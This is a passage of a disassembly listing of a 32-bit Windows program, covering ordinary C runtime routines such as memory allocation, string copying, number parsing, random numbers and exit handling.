8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 call near ptr 27C0000h nop loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 27105C5h push eax nop call near ptr 2700B13h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax 